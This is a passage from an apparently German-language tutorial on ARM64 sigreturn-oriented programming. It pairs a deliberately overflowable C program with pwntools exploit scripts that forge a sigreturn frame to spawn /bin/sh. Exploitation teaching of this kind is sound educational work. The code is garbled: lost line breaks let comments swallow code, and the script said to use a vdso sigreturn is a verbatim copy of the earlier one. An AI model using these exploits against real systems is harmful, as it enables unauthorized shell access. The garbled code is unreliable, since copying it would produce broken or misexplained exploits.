Dieses Beispiel erstellt die verwundbare Binärdatei und nutzt sie aus. Die Binärdatei liest in den Stack und ruft dann sigreturn auf:
from pwn import*binsh ="/bin/sh"context.clear()context.arch ="arm64"asm =''asm +='sub sp, sp, 0x1000\n'asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024)#Read into the stackasm += shellcraft.sigreturn()# Call sigreturnasm +='syscall: \n'#Easy symbol to use in the exploitasm += shellcraft.syscall()asm +='binsh: .asciz "%s"'% binsh #To have the "/bin/sh" string in memorybinary = ELF.from_assembly(asm)frame =SigreturnFrame()frame.x8 = constants.SYS_execveframe.x0 = binary.symbols['binsh']frame.x1 =0x00frame.x2 =0x00frame.pc = binary.symbols['syscall']p =process(binary.path)p.send(bytes(frame))p.interactive()
Der Exploit nutzt den bof aus, um zu dem Aufruf von sigreturn zurückzukehren und den Stack vorzubereiten, um execve mit einem Zeiger auf /bin/sh aufzurufen.
from pwn import*p =process('./srop')elf = context.binary =ELF('./srop')libc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000# ASLR disabledbinsh =next(libc.search(b"/bin/sh"))stack_offset =72sigreturn =0x00000000004006e0# Call to sigsvc_call =0x00000000004006e4# svc #0x0frame =SigreturnFrame()frame.x8 =0xdd# syscall number for execveframe.x0 = binshframe.x1 =0x00# NULLframe.x2 =0x00# NULLframe.pc = svc_callpayload = b'A'* stack_offsetpayload +=p64(sigreturn)payload +=bytes(frame)p.sendline(payload)p.interactive()
bof Beispiel ohne sigreturn
Code
#include<stdio.h>#include<string.h>#include<unistd.h>char*vulnerable_function() {char buffer[64];read(STDIN_FILENO, buffer,0x1000); // <-- bof vulnerabilityreturn buffer;}char*gen_stack() {char use_stack[0x2000];strcpy(use_stack,"Hello, world!");char* b =vulnerable_function();return use_stack;}intmain(int argc,char**argv) {char* b =gen_stack();return0;}
Exploit
Im Abschnitt vdso ist es möglich, einen Aufruf zu sigreturn im Offset 0x7b0 zu finden:
Daher ist es, falls geleakt, möglich, diese Adresse zu verwenden, um auf ein sigreturn zuzugreifen, wenn die Binärdatei es nicht lädt:
from pwn import*p =process('./srop')elf = context.binary =ELF('./srop')libc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000# ASLR disabledbinsh =next(libc.search(b"/bin/sh"))stack_offset =72sigreturn =0x00000000004006e0# Call to sigsvc_call =0x00000000004006e4# svc #0x0frame =SigreturnFrame()frame.x8 =0xdd# syscall number for execveframe.x0 = binshframe.x1 =0x00# NULLframe.x2 =0x00# NULLframe.pc = svc_callpayload = b'A'* stack_offsetpayload +=p64(sigreturn)payload +=bytes(frame)p.sendline(payload)p.interactive()